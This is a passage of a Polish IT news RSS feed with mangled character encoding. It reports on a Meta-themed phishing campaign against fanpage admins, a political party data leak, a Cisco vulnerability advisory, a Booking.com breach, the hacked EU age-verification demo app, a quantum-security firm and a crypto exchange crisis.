Trzeci przypadek pokazuje z kolei, jak bardzo rozwinand#261;and#322; siand#281; phishing wymierzony w firmy i osoby prowadzand#261;ce fanpageand#8217;e. 17 kwietnia 2026 r. Niebezpiecznik opisaand#322; atak, w ktand#243;rym administrator strony na Facebooku dostaje wiadomoand#347;and#263; o rzekomej blokadzie strony w ciand#261;gu 24 godzin. Najgroand#378;niejsze jest to, and#380;e e-mail wygland#261;da wiarygodnie, bo jest wysyand#322;any z prawdziwego adresu Mety i trafia na adres przypisany do fanpageand#8217;a.
Wedand#322;ug opisu serwisu atakujand#261;cy wykorzystujand#261; mechanizm zwiand#261;zany z proand#347;band#261; o dostand#281;p do Business Portfolio i potrafiand#261; wpleand#347;and#263; do takiej wiadomoand#347;ci wand#322;asnand#261; treand#347;and#263; tak, by caand#322;oand#347;and#263; wygland#261;daand#322;a jak oficjalny komunikat. Potem ofiara jest kierowana na stronand#281; przypominajand#261;cand#261; serwisy Mety, gdzie moand#380;e oddaand#263; dane logowania albo dane osobowe. To waand#380;ne ostrzeand#380;enie nie tylko dla duand#380;ych firm, ale teand#380; dla maand#322;ych biznesand#243;w, lokalnych mediand#243;w czy freelancerand#243;w, ktand#243;rzy prowadzand#261; swoje strony samodzielnie i czand#281;sto dziaand#322;ajand#261; pod presjand#261; czasu.
and#160;
Oszuand#347;ci sand#261; coraz bardziej wiarygodni
Wspand#243;lny mianownik tych trzech historii jest prosty: oszuand#347;ci nie prand#243;bujand#261; juand#380; zawsze wygland#261;daand#263; jak oszuand#347;ci. Przeciwnie, robiand#261; wszystko, by przypominaand#263; legalnand#261; instytucjand#281;, znanand#261; markand#281; albo zwykand#322;y administracyjny obowiand#261;zek.





Najrozsand#261;dniejsza zasada pozostaje niezmienna: nie klikaand#263; pod wpand#322;ywem emocji, nie skanowaand#263; kodand#243;w QR z przypadkowych and#378;rand#243;deand#322; i nie podawaand#263; danych po wejand#347;ciu na stronand#281;, do ktand#243;rej trafiliand#347;my z podejrzanego linku lub wiadomoand#347;ci. Czasem wystarczy minuta ostroand#380;noand#347;ci, by nie straciand#263; pieniand#281;dzy, dostand#281;pu do konta albo kontroli nad firmowym profilem.
and#160;
and#160;
and#378;rodand#322;oand#160;Bankier.pl 21 kwiecieand#324; 2026and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Atak hakerski na partię Mentzena. Opublikowano 500 rekordów ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1686</link>
			<description><![CDATA[ Cyberprzestand#281;pcy nie dajand#261; za wygranand#261;. Ugrupowanie Sand#322;awomira Mentzena Nowa Nadzieja po raz kolejny staand#322;o siand#281; celem zmasowanego ataku hakerskiego. To juand#380; trzeci taki incydent w krand#243;tkim odstand#281;pie czasu, co sugeruje, and#380;e partia znalazand#322;a siand#281; na staand#322;ym celowniku grup dziaand#322;ajand#261;cych w sieci.and#160;







and#160;

fot. Adam Cheand#322;stowski /and#160;/and#160;FORUM


Partia Mentzena musi mierzyand#263; siand#281; z wyzwaniem w zakresie cyberbezpieczeand#324;stwa. Jak wynika z najnowszych informacji, hakerzy ponownie prand#243;bowali przejand#261;and#263; kontroland#281; nad zasobami cyfrowymi ugrupowania.
Rzecznik partii Sand#322;awomira Mentzena podkreand#347;liand#322;, and#380;eand#160;wyciek dotyczyand#322; starego, nieaktualnego systemu sekcji mand#322;odzieand#380;owej wand#160;Biaand#322;ymstoku.and#160;Baza danych czand#322;onkand#243;w iand#160;dokumenty wewnand#281;trzne zostaand#322;y opublikowane naand#160;popularnym forum poand#347;wiand#281;conym cyberprzestand#281;pczoand#347;ci.









Co padand#322;o and#322;upem hakerand#243;w?
Choand#263; oficjalne komunikaty sand#261; oszczand#281;dne, wiadomo, and#380;e celem ataku byand#322;y bazy danych oraz serwisy komunikacyjne wykorzystywane przez dziaand#322;aczy. W dobie cyfrowej polityki, utrata kontroli nad takimi zasobami to nie tylko problem wizerunkowy, ale przede wszystkim ryzyko wycieku wraand#380;liwych danych sympatykand#243;w i czand#322;onkand#243;w partii.
Jak informuje serwis Niebezpiecznik, wand#322;amywacz opublikowaand#322; 500 rekordand#243;w zawierajand#261;cych imiand#281; i nazwisko, numer PESEL, adres zamieszkania oraz numery telefonand#243;w. Wyciekand#322;y teand#380; dane osand#243;b oznaczonych jako "nieaktywne", poniewaand#380; wciand#261;and#380; znajdowaand#322;y siand#281; w bazie danych.



















Trzecie uderzenie w krand#243;tkim czasie
To nie jest pierwszy raz, kiedy systemy partii sand#261; testowane przez nieznanych sprawcand#243;w. Poprzednie ataki miaand#322;y miejsce zaledwie kilka tygodni temu, co budzi pytania o skutecznoand#347;and#263; wprowadzonych zabezpieczeand#324; oraz o to, kto moand#380;e staand#263; za tymi dziaand#322;aniami. Eksperci wskazujand#261;, and#380;e powtarzalnoand#347;and#263; tych incydentand#243;w moand#380;e and#347;wiadczyand#263; o zorganizowanej kampanii wymierzonej w struktury ugrupowania.
and#160;
and#160;
and#378;rodand#322;oand#160;Bankier.pl 20 kwiecieand#324; 2026 oprac. KWS

and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Cyber-alarm rządu. Gawkowski ostrzega przed krytyczną luką w systemach C ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1685</link>
			<description><![CDATA[ and#160;



Podmioty krajowego systemu cyberbezpieczeand#324;stwa powinny natychmiast zaktualizowaand#263; oprogramowania Cisco IMC oraz Cisco NFVIS - zaleciand#322; peand#322;nomocnik rzand#261;du ds. cyberbezpieczeand#324;stwa Krzysztof Gawkowski. Brak aktualizacji moand#380;e prowadziand#263; do incydentu krytycznego - podkreand#347;liand#322;.




and#160;

fot. SuPatMaN /and#160;/and#160;Shutterstock


Peand#322;nomocnik Rzand#261;du ds. Cyberbezpieczeand#324;stwa zarekomendowaand#322; podmiotom krajowego systemu cyberbezpieczeand#324;stwa bezzwand#322;ocznand#261; aktualizacjand#281; oprogramowaand#324; Cisco Integrated Management Controller (IMC) oraz Cisco Network Function Virtualization Infrastructure Software (NFVIS), poniewaand#380; wykryto w nich krytycznand#261; podatnoand#347;and#263;, czyli lukand#281; bezpieczeand#324;stwa.
and#160;
Oprogramowanie naleand#380;y zaktualizowaand#263; do najbardziej aktualnej wersji lub do wersji, dla ktand#243;rej krytyczna podatnoand#347;and#263; zostaand#322;a usuniand#281;ta zgodnie z zaleceniami producenta.
and#160;
Gawkowski zarekomendowaand#322; rand#243;wnieand#380; zaprzestanie wykorzystywania produktand#243;w firmy Cisco, dla ktand#243;rych producent nie oferuje juand#380; wsparcia technicznego w aktualizacji oprogramowania lub urzand#261;dzenia. W takim przypadku naleand#380;y dokonaand#263; analizy ryzyka i w moand#380;liwym zakresie wyand#322;and#261;czyand#263; urzand#261;dzenie z eksploatacji; moand#380;na teand#380; przeprowadziand#263; proces migracji do nowszych wersji urzand#261;dzeand#324; lub zmieniand#263; rozwiand#261;zanie - podano w komunikacie.
Peand#322;nomocnik zarekomendowaand#322; takand#380;e przeprowadzenie niezwand#322;ocznie aktualizacji urzand#261;dzeand#324; w przypadku, gdy takie aktualizacje producenta sand#261; wydawane w stosunku do kolejnych ujawnianych podatnoand#347;ci. Jak podano, dziaand#322;anie to pozwoli uniknand#261;and#263; kompromitacji wykorzystywanej infrastruktury, czyli sytuacji, w ktand#243;rej cyberprzestand#281;pca wykorzysta lukand#281; i dostanie siand#281; do urzand#261;dzenia.




















Gawkowski wydaand#322; rekomendacjand#281; po konsultacjach z zespoand#322;ami CSIRT NASK, CSIRT GOV oraz CSIRT MON - podano. Eksperci podkreand#347;lili, and#380;e niezastosowanie siand#281; do rekomendacji stwarza ryzyko wystand#261;pienia incydentu krytycznego. Dalsze stosowanie oprogramowania obarczonego podatnoand#347;ciami moand#380;e negatywnie wpand#322;ywaand#263; na bezpieczeand#324;stwo publiczne oraz istotny interes paand#324;stwa - zaznaczono.
Ustawa o Krajowym Systemie Cyberbezpieczeand#324;stwa (UKSC) z 2018 r. ustanowiand#322;a trzy krajowe Zespoand#322;y Reagowania na Incydenty Bezpieczeand#324;stwa Komputerowego: CSIRT NASK, CSIRT GOV oraz CSIRT MON.
Rekomendacja Gawkowskiego zostaand#322;a wydana takand#380;e na podstawie UKSC. Wedand#322;ug znowelizowanej w br. ustawy, krajowym systemem cyberbezpieczeand#324;stwa objand#281;te sand#261; m.in. sektory: energii, transportu, bankowoand#347;ci, uzdatniania wody, odprowadzania and#347;ciekand#243;w, ochrony zdrowia, przestrzeni kosmicznej, usand#322;ug pocztowych, produkcji i dystrybucji, w tym chemikaliand#243;w i and#380;ywnoand#347;ci. Do sektorand#243;w KSC zaliczono teand#380; czand#281;and#347;and#263; podmiotand#243;w publicznych, w tym urzand#281;dy, samorzand#261;dy, szkoand#322;y, szpitale, instytuty badawcze i Polskand#261; Agencjand#281; Prasowand#261;.
and#160;
and#160;
and#378;rodand#322;o PAP 20 kwiecieand#324; 2026 mbl/ mrr/






and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Wyciek danych z Booking.com. Polacy na liście poszkodowanych ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1684</link>
			<description><![CDATA[ Z Booking.com wyciekand#322;y dane czand#281;and#347;ci uand#380;ytkownikand#243;w, takie jak adresy e-mail, numery telefonand#243;w i informacje o rezerwacjach; natomiast dane finansowe, np. kart kredytowych, pozostaand#322;y bezpieczne - przekazaand#322;o PAP biuro prasowe platformy. CERT Polska potwierdziand#322;, and#380;e wyciek objand#261;and#322; m.in. polskich uand#380;ytkownikand#243;w.




and#160;

fot. hans engbers /and#160;/and#160;Shutterstock


W poniedziaand#322;ek zagraniczne media, m.in. the Guardian, zaczand#281;and#322;y informowaand#263;, iand#380; doszand#322;o do ataku hakerskiego na Booking.com, w wyniku czego wyciekand#322;y dane czand#281;and#347;ci uand#380;ytkownikand#243;w, a platforma wysyand#322;a poszkodowanym maile w tej sprawie.
Jak przekazaand#322;o biuro prasowe Booking.com, w wyniku incydentu cyberbezpieczeand#324;stwa z platformy wyciekand#322;y wyand#322;and#261;cznie dane rezerwacji i dane kontaktowe uand#380;ytkownikand#243;w, takie jak adres e-mail i/lub numer telefonu. Cyberprzestand#281;pcy nie uzyskali natomiast dostand#281;pu do danych finansowych - o kartach pand#322;atniczych i kartach kredytowych, ani do adresand#243;w zamieszkania klientand#243;w.

and#8222;Chociaand#380; nieautoryzowany dostand#281;p zostaand#322; szybko powstrzymany, wciand#261;and#380; oceniamy jego skutki. Jak dotand#261;d ustaliliand#347;my, and#380;e wiand#281;kszoand#347;and#263; informacji, ktand#243;re wyciekand#322;y, dotyczy wczeand#347;niejszych rezerwacji. Poniewaand#380; nasi klienci pozostajand#261; naszym najwyand#380;szym priorytetem, niezwand#322;ocznie ich powiadomiliand#347;my. Ponadto wspand#243;and#322;pracujemy z organami and#347;cigania oraz organami ochrony danych, przekazujand#261;c im informacje, ktand#243;rych potrzebujand#261; do dalszego dochodzeniaand#8221; - poinformowaand#322;o biuro prasowe Booking.com.




and#160;



Nie odpowiedziaand#322;o natomiast na pytania dotyczand#261;ce daty wycieku, jego przyczyn ani skali.
and#160;
Zespand#243;and#322; CERT Polska przekazaand#322; natomiast, and#380;e nie otrzymaand#322; zgand#322;oszeand#324; dotyczand#261;cych incydentu w Booking.com, ale and#8222;analiza dostand#281;pnych publicznie materiaand#322;and#243;w wskazuje, and#380;e dotyczy on takand#380;e czand#281;and#347;ci polskich uand#380;ytkownikand#243;wand#8221;.














Zespand#243;and#322; podkreand#347;liand#322;, and#380;e wizerunek firm zajmujand#261;cych siand#281; rezerwacjami, w tym w szczegand#243;lnoand#347;ci Booking.com, jest bardzo czand#281;sto wykorzystywany w scenariuszach phishingowych, co oznacza, and#380;e cyberprzestand#281;pcy podszywajand#261; siand#281; pod takie platformy i prand#243;bujand#261; wyand#322;udziand#263; dane lub pieniand#261;dze. and#8222;Takie kampanie majand#261; najczand#281;and#347;ciej charakter masowy i nie wiand#261;and#380;emy ich jednoznacznie z wymienionym incydentem. Sytuacja w cyberprzestrzeni jest jednak dynamiczna i moand#380;e zdarzyand#263; siand#281; tak, and#380;e informacje pozyskane z wycieku posand#322;uand#380;and#261; oszustom do kolejnych dziaand#322;aand#324;and#8221; - zaznaczyand#322; CERT Polska.
Jak podaand#322; the Guardian, to nie pierwszy tego typu incydent w Booking.com. W 2018 r. cyberprzestand#281;pcy skradli dane logowania pracownika platformy ze Zjednoczonych Emiratand#243;w Arabskich, a nastand#281;pnie zyskali dostand#281;p do danych ponad 4 tys. uand#380;ytkownikand#243;w. Wand#243;wczas platforma zgand#322;osiand#322;a wyciek do holenderskiego urzand#281;du ochrony danych 22 dni po fakcie, w zwiand#261;zku z czym otrzymaand#322;a karand#281; w wysokoand#347;ci 475 tys. euro.
Booking.com to jedna z najwiand#281;kszych na and#347;wiecie platform internetowych do rezerwacji obiektand#243;w noclegowych, zaand#322;oand#380;ona w 1996 r. w Amsterdamie. Obecnie jest wand#322;asnoand#347;ciand#261; amerykaand#324;skiej spand#243;and#322;ki Booking Holdings. Platforma umoand#380;liwia rezerwowanie w 43 jand#281;zykach ponad 28 mln miejsc zakwaterowania, w tym hoteli, apartamentand#243;w, domand#243;w wakacyjnych i pensjonatand#243;w.
and#160;
and#160;
and#378;rodand#322;o PAP 17 kwiecieand#324; 2026and#160; Monika Blandyna Lewkowicz (PAP)and#160;
and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Kompromitacja unijnej aplikacji? Zhakowana w dwie minuty tuż po premierze ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1683</link>
			<description><![CDATA[ Rzecznik Komisji Europejskiej Thomas Regnier zapewniand#322; w piand#261;tek w Brukseli, and#380;e opublikowana w and#347;rodand#281; wersja unijnej aplikacji do weryfikacji wieku internautand#243;w to jedynie wersja demonstracyjna, ktand#243;ra band#281;dzie jeszcze ulepszana. To reakcja KE na doniesienia, and#380;e aplikacja juand#380; zostaand#322;a zhakowana.




and#160;

fot. Yves Herman /and#160;/and#160; Reuters / Forum


Jeszcze w and#347;rodand#281; przewidniczand#261;ca Komisji Europejskiej Ursula von der Leyen zaprezentowaand#322;a opracowanand#261; przez KE aplikacjand#281; do weryfikacji wieku uand#380;ytkownikand#243;w platform spoand#322;ecznoand#347;ciowych, zapewniajand#261;c, and#380;e narzand#281;dzie jest juand#380; praktycznie gotowe pod wzgland#281;dem technicznym i w najbliand#380;szych tygodniacg band#281;dand#261; mogli z niego korzystaand#263; obywatele krajand#243;w UE. Von der Leyen zaprezentowaand#322;a aplikacje takand#380;e w czwartek podczas zorganizowanej przez prezydenta Francji Emmanuela Macrona wideokonferencji poand#347;wiand#281;conej ochronie dzieci w internecie, z udziaand#322;em czand#281;and#347;ci przywand#243;dcand#243;w krajand#243;w UE.
and#160;
Rand#243;wnieand#380; w czwartek konsultant ds. bezpieczeand#324;stwa Paul Moore przedstawiand#322; w nagraniu umieszczonym na X, and#380;e unijnand#261; aplikacjand#281; moand#380;na zhakowaand#263; w mniej niand#380; dwie minuty. Filmik demaskujand#261;cy luki w zabezpieczeniach programu zostaand#322; szeroko udostand#281;pniony w internecie.
and#160;

Do sprawy odniand#243;sand#322; siand#281; w piand#261;tek rzecznik KE ds. cyfryzacji, ktand#243;ry powiedziaand#322;, and#380;e zaprezentowana w tym tygodniu wersja aplikacji to jedynie wersja demonstracyjna, a nie ostateczny, gotowy do uand#380;ytku produkt. Regnier dodaand#322;, and#380;e kod and#378;rand#243;dand#322;owy aplikacji zostaand#322; udostand#281;pniony przez KE na platformie chmurowej dla programistand#243;w GitHub w formie open source, co ma umoand#380;liwiand#263; deweloperom z caand#322;ej Europie testowanie oprogramowania i zgand#322;aszanie sugestii co do ewentualnych usprawnieand#324; i poprawek. and#8211; Chociaand#380; wersja demonstracyjna aplikacji zawiera juand#380; wszystkie wymagane funkcjonalnoand#347;ci, to prace nad finalnym produktem nadal trwajand#261; and#8211; zaznaczyand#322; rzecznik. Dodaand#322;, and#380;e aplikacja jest projektowana z myand#347;land#261; o speand#322;nieniu najwyand#380;szych standardand#243;w prywatnoand#347;ci i cyberbezpieczeand#324;stwa, a kod band#281;dzie systematycznie aktualizowany i ulepszany.
Regnier poinformowaand#322;, and#380;e po ujawnieniu potencjalnych luk w zabezpieczeniach KE natychmiast podjand#281;and#322;a dziaand#322;ania naprawcze. Dodaand#322;, and#380;e nowa wersja aplikacji band#281;dzie juand#380; wkrand#243;tce gotowa i zostanie umieszczona na publicznej platformie. Nie wykluczyand#322;, and#380;e mogand#261; byand#263; potrzebne dalsze poprawki. Rzecznik zapewniand#322;, and#380;e KE skupia siand#281; na dostarczeniu dand#322;ugoterminowego, solidnego i bezpiecznego rozwiand#261;zania do weryfikacji wieku uand#380;ytkownikand#243;w i jest otwarta na uwagi.























Wedand#322;ug informacji przekazanych przez rzecznika do aplikacji juand#380; zostaand#322;y wprowadzone pewne ulepszenia, bo w pierwotnej wersji aplikacji weryfikacja wieku byand#322;a moand#380;liwa jedynie na podstawie paszportu lub dowodu osobistego, w nowej wersji natomiast dodano trzeciand#261; opcjand#281;, czyli kod QR dostarczany przez szkoand#322;y dla dzieci nie posiadajand#261;cych dokumentand#243;w toand#380;samoand#347;ci. Rzecznik powiedziaand#322;, and#380;e prace nad tand#261; funkcjonalnoand#347;ciand#261; zakoand#324;czono niedawno.
Aplikacja przez ostatnie kilka miesiand#281;cy byand#322;a testowana w siedmiu paand#324;stwach czand#322;onkowskich: Francji, Danii, Grecji, Wand#322;oszech, Hiszpanii, na Cyprze i w Irlandii. Jak zapowiedziaand#322;a KE, kraje te planujand#261; teraz zintegrowaand#263; aplikacjand#281; ze swoimi krajowymi portfelami online.
and#160;
and#160;
and#378;rodand#322;o PAP 17 kwiecieand#324; 2026and#160;Z Brukseli Jowita Kiwnik Pargana (PAP)
jowi/ akl/ ]]></description>
		</item><item>
			<title><![CDATA[ Koniec ery klasycznych hakerów? Creotech Quantum wdraża systemy bezpiecznej komunikacji ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1682</link>
			<description><![CDATA[ Creotech Quantum wdraand#380;a pierwsze produkty na rynku i pracuje nad kolejnymi rozwiand#261;zaniami - poinformowaand#322;a PAP Biznes prezeska spand#243;and#322;ki, Anna Kamiand#324;ska. Creotech Quantum zadebiutowaand#322; w piand#261;tek na rynku gand#322;and#243;wnym GPW.




and#160;

fot. mat. prasowe /and#160;/and#160;Creotech


"Jeand#347;li chodzi o nastand#281;pne miesiand#261;ce - wdraand#380;amy nasze pierwsze produkty na rynek. Weszliand#347;my teraz na gieand#322;dand#281; jako spand#243;and#322;ka kwantowa nieprzypadkowo. Jest to zwiand#261;zane z tym, and#380;e jako spand#243;and#322;ka osiand#261;gamy naszand#261; dojrzaand#322;oand#347;and#263; wychodzand#261;c na rynek z nowymi produktami, pierwszymi dojrzaand#322;ymi produktami z zakresu technologii kwantowych w Polsce" - powiedziaand#322;a PAP Biznes Kamiand#324;ska.



and#160;



"Na sam poczand#261;tek wchodzimy na rynek z systemami kwantowej dystrybucji klucza. Sand#261; to rozwiand#261;zania dla bezpiecznej komunikacji zabezpieczanej kwantowo, ktand#243;re mogand#261; byand#263; wdraand#380;ane bardzo szeroko, w rand#243;and#380;nych obszarach - w szczegand#243;lnoand#347;ci, jeand#347;li chodzi o telekomunikacjand#281;, jeand#347;li chodzi o zabezpieczenie bankand#243;w, towarzystw ubezpieczeniowych, sieci energetycznych. Band#281;dziemy w tym roku wychodziand#263; do tych podmiotand#243;w z naszand#261; ofertand#261;" - dodaand#322;a.
and#160;
Podaand#322;a, and#380;e Creotech Quantum band#281;dzie takand#380;e przygotowywaand#322; caand#322;y czas kolejne rozwiand#261;zania
"Tak naprawdand#281; nie przestajemy z dewelopmentem, poniewaand#380; technologie kwantowe rozwijajand#261; siand#281; bardzo szybko. Zatem rozwijamy dalej nasze systemy, ale teand#380; rand#243;wnolegle pracujemy nad innymi naszymi produktami - takand#380;e juand#380; obecnymi na rynku - w postaci systemand#243;w kontroli procesorand#243;w kwantowych - wiand#281;c teand#380; napand#281;dzamy rozwand#243;j technologii Quantum Computing" - powiedziaand#322;a Anna Kamiand#324;ska.







Wskazaand#322;a, and#380;e w tych dwand#243;ch obszarach spand#243;and#322;ka zamierza siand#281; intensywnie rozwijaand#263; w najbliand#380;szych latach
"Odnoand#347;nie rynkand#243;w, na ktand#243;rych chcemy dziaand#322;aand#263; - w pierwszym rzand#281;dzie dla nas jest to rynek europejski. Oczywiand#347;cie patrzymy na rynek and#347;wiatowy, natomiast technologie, ktand#243;re rozwijamy, to sand#261; technologie podwand#243;jnego zastosowania i majand#261; teand#380; znaczenie dla bezpieczeand#324;stwa. W szczegand#243;lnoand#347;ci w obecnej sytuacji geopolitycznej jest to kluczowe, and#380;ebyand#347;my w Europie mieli lokalny and#322;aand#324;cuch dostaw, moand#380;liwoand#347;ci produkcyjne, jak rand#243;wnieand#380; dla Europy jest kluczowe, and#380;eby ci europejscy dostawcy istnieli" - powiedziaand#322;a.
"Zresztand#261; w ten sposand#243;b tak naprawdand#281; nasz dewelopment przez ostatnie trzy lata byand#322; stymulowany w duand#380;ym zakresie ze strony Komisji Europejskiej. Takand#380;e w pierwszym rzand#281;dzie rynek europejski, oczywiand#347;cie rand#243;wnieand#380; rynek polski, a na pewno patrzymy z zainteresowaniem na szerszy rynek and#347;wiatowy" - dodaand#322;a.
Podaand#322;a, and#380;e odnoand#347;nie certyfikacji rozwiand#261;zaand#324; w Creotech Quantum obecnie jest prowadzona bardzo intensywnie praca zarand#243;wno na arenie europejskiej, jak i w Polsce, nad tym, and#380;eby siand#281; przygotowaand#263; na certyfikacjand#281; tego typu urzand#261;dzeand#324;.







"Bowiem w dand#322;uand#380;szej perspektywie czasowej, kiedy juand#380; nie band#281;dziemy mand#243;wiand#263; o pilotaand#380;ach, pierwszych wdroand#380;eniach, ale o szerokim profesjonalnym wdroand#380;eniu tych technologii to band#281;dziemy rand#243;wnieand#380; oczekiwali, i na pewno nasi uand#380;ytkownicy band#281;dand#261; oczekiwali, and#380;e takie technologie band#281;dand#261; przychodziand#322;y z odpowiednim certyfikatem" - powiedziaand#322;a Anna Kamiand#324;ska.
"and#346;cieand#380;ka certyfikacji de facto jest jasna. Ma to byand#263; certyfikacja zgodnie z normami Common Criteria. Jest w Polsce instytucja, ktand#243;ra takand#261; certyfikacjand#281; moand#380;e przeprowadzaand#263;, jest to NASK. Natomiast tak jak wiemy, jak weryfikowaand#263; technologie klasyczne, jeand#347;li chodzi na przykand#322;ad o sprzand#281;t IT, tak nie jest jeszcze do koand#324;ca ugruntowane jak testowaand#263; technologie kwantowe - w szczegand#243;lnoand#347;ci od strony wektorand#243;w ataku na kanaand#322; kwantowy. Wynika to po prostu z tego, and#380;e te technologie sand#261; nowe i rand#243;wnieand#380; relatywnie trudne" - dodaand#322;a.
Wskazaand#322;a, and#380;e w zwiand#261;zku z tym obecnie toczand#261; siand#281; prace, and#380;eby opracowaand#263; takie przepisy i metody testowania tych systemand#243;w podczas certyfikacji
"Jestem przekonana, and#380;e w najbliand#380;szych dwand#243;ch, moand#380;e trzech latach juand#380; ta and#347;cieand#380;ka band#281;dzie kompletnie ugruntowana i band#281;dziemy z naszej strony maksymalnie ten proces rand#243;wnieand#380; wspieraand#263;, bo zaleand#380;y nam na tym, and#380;eby jak najszybciej byand#263; w stanie przybiand#263; odpowiedni certyfikat na dokumentacji naszych urzand#261;dzeand#324;" - powiedziaand#322;a.







"Dla nas w tej chwili najwiand#281;kszym wyzwaniem jest to, and#380;eby przez najbliand#380;sze lata utrzymaand#263; siand#281; na pozycji, ktand#243;rand#261; obecnie budujemy w wyand#347;cigu kwantowym. Bowiem w Europie i na and#347;wiecie czynione sand#261; bardzo duand#380;e inwestycje w tym obszarze. Te technologie sand#261; mand#322;ode, dynamicznie siand#281; rozwijajand#261; i na pewno ten rozwand#243;j band#281;dzie bardzo szybki w najbliand#380;szych latach" - dodaand#322;a.
Podaand#322;a, and#380;e dla spand#243;and#322;ki obecnie band#281;dzie kluczowe, and#380;eby dysponujand#261;c and#347;rodkami, ktand#243;re ma, rozwijaand#263; siand#281; w sposand#243;b, ktand#243;ry band#281;dzie pozwalaand#322; skutecznie konkurowaand#263; z graczami z zagranicy
"Wierzand#281;, and#380;e to siand#281; uda, poniewaand#380; mamy bardzo silne podstawy technologiczne, mamy and#347;wietny zespand#243;and#322; inand#380;ynieryjny na pokand#322;adzie. Moim wyzwaniem band#281;dzie wand#322;aand#347;nie to, and#380;eby jak najskuteczniej w tych najbliand#380;szych latach dziaand#322;aand#263;, and#380;eby siand#281; przebiand#263; i teand#380;, aby zand#322;apaand#263; jak najwiand#281;kszy obszar tego rynku" - powiedziaand#322;a Kamiand#324;ska.
Creotech Quantum to polska spand#243;and#322;ka rozwijajand#261;ca zaawansowane technologie kwantowe. Koncentruje siand#281; na rozwoju i komercjalizacji rozwiand#261;zaand#324; w obszarze kwantowej dystrybucji kluczy (QKD), komponentand#243;w dla komputerand#243;w kwantowych, a takand#380;e precyzyjnych systemand#243;w synchronizacji czasu w technologii White Rabbit. Istotnym elementem dziaand#322;alnoand#347;ci sand#261; rand#243;wnieand#380; wysokoczuand#322;e kamery CMOS, znajdujand#261;ce zastosowanie zarand#243;wno w systemach kwantowych, jak i w astronomii oraz obserwacji obiektand#243;w bliskich Ziemi.




















2 kwietnia Creotech Instruments podaand#322;, and#380;e zakoand#324;czyand#322; proces podziaand#322;u na dwie niezaleand#380;ne spand#243;and#322;ki. Sand#261;d rejestrowy wpisaand#322; do KRS podwyand#380;szenie kapitaand#322;u zakand#322;adowego Creotech Quantum, co formalnie finalizuje wydzielenie segmentu kwantowego.and#160;
and#160;
and#160;
and#378;rodand#322;o PAP 17 kwiecieand#324; 2026 Anna Lalek (PAP Biznes)
alk/ gor/ ]]></description>
		</item><item>
			<title><![CDATA[ Bitcoin u siebie, czyli jak nie utonąć z giełdą. Wszystko o portfelach kryptowalut ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1681</link>
			<description><![CDATA[ W and#347;wiecie finansand#243;w mawiajand#261;: "ufaj, ale sprawdzaj". W and#347;wiecie kryptowalut przez lata dodawano do tego: "nie twoje klucze, nie twoje bitcoiny". Aktualna sytuacja wokand#243;and#322; gieand#322;dy zondacrypto pokazuje, and#380;e lekcje z przeszand#322;oand#347;ci wciand#261;and#380; sand#261; przez wielu odrabiane na wand#322;asnym portfelu. Zapraszam na kompletny poradnik o tym, gdzie trzymaand#263; cyfrowe oszczand#281;dnoand#347;ci. Co trzeba wiedzieand#263; o portfelach kryptowalut?




and#160;

fot. Everett Collection /and#160;/and#160;Shutterstock


Ostatnie dni spand#281;dziand#322;em z nosem w monitorze, obserwujand#261;c to, co dzieje siand#281; na naszym rodzimym podwand#243;rku. Zaczand#281;and#322;o siand#281; od narzekaand#324; na forach i negatywnych opinii, a skoand#324;czyand#322;o na doniesieniach o pustych portfelach i politycznej burzy. Mowa oczywiand#347;cie o gieand#322;dzie kryptowalut Zondacrypto.
Zanim przejdziemy do czand#281;and#347;ci poand#347;wiand#281;conej portfelom kryptowalut, zatrzymajmy siand#281; na moment przy aktualnych wydarzeniach, bo to najlepsza lekcja dla kaand#380;dego inwestora






Wielki "manual" w zondacrypto, czyli run na bank w wersji krypto
Z przeand#347;ledzonych przeze mnie opinii w sieci wynika, and#380;e uand#380;ytkownicy gieand#322;dy Zondacrypto zaczand#281;li zgand#322;aszaand#263; narastajand#261;ce problemy z wypand#322;atami juand#380; pod koniec 2025 roku. Oficjalna wersja? Wtedy winne byand#322;y procedury dotyczand#261;ce prania pieniand#281;dzy. W 2026 roku w marcu i w kwietniu opand#243;and#378;nienia transferand#243;w staand#322;y siand#281; masowe, co gieand#322;da tand#322;umaczyand#322;a "problemami technicznymi". Dane przeanalizowane przez firmand#281; Recoveris dla WP malujand#261; jednak mroczniejszy obraz.
Saldo bitcoinand#243;w w tzw. gorand#261;cym portfelu gieand#322;dy spadand#322;y o 99,7%, co przy milionie klientand#243;w (takand#261; liczband#281; uand#380;ytkownikand#243;w podaje Zondacrypto) mogand#322;o sparaliand#380;owaand#263; wypand#322;aty. Dodatkowo uwagand#281; badaczy zwrand#243;ciand#322;y transfery na ponad 76 mln zand#322;, ktand#243;re trafiand#322;y z gieand#322;dy na adresy zewnand#281;trzne w ciand#261;gu ostatnich 5 miesiand#281;cy.

















Prezes zondacrypto Przemysand#322;aw Kral studzi nastroje, ale nie chce ujawniand#263; dowodand#243;w na istnienie 4500 BTC rezerw. Run na bank w kryptowalutowej wersji trwa nadal, a w sprawand#281; zaangaand#380;owali siand#281; politycy i prokuratura. Z doniesieand#324; klientand#243;w wynika, and#380;e wiand#281;kszoand#347;and#263; wciand#261;and#380; czeka na and#347;rodki.and#160;Analiza Bankier.pl pokazaand#322;a zaand#347;, and#380;e model biznesowy gieand#322;dy szedand#322; rand#243;wniand#261; pochyand#322;and#261; w dand#243;and#322;, przynoszand#261;c coraz wiand#281;ksze straty.
Wniosek jest jasny: gieand#322;dy kryptowalut takie jak zondacrypto nie sand#261; dobrym miejscem do trzymania oszczand#281;dnoand#347;ci and#380;ycia.and#160;O tym, jak zachowaand#263; balans miand#281;dzy wygodand#261; a strachem, opowiedziaand#322; mi Mateusz Jamioand#322;kowski:
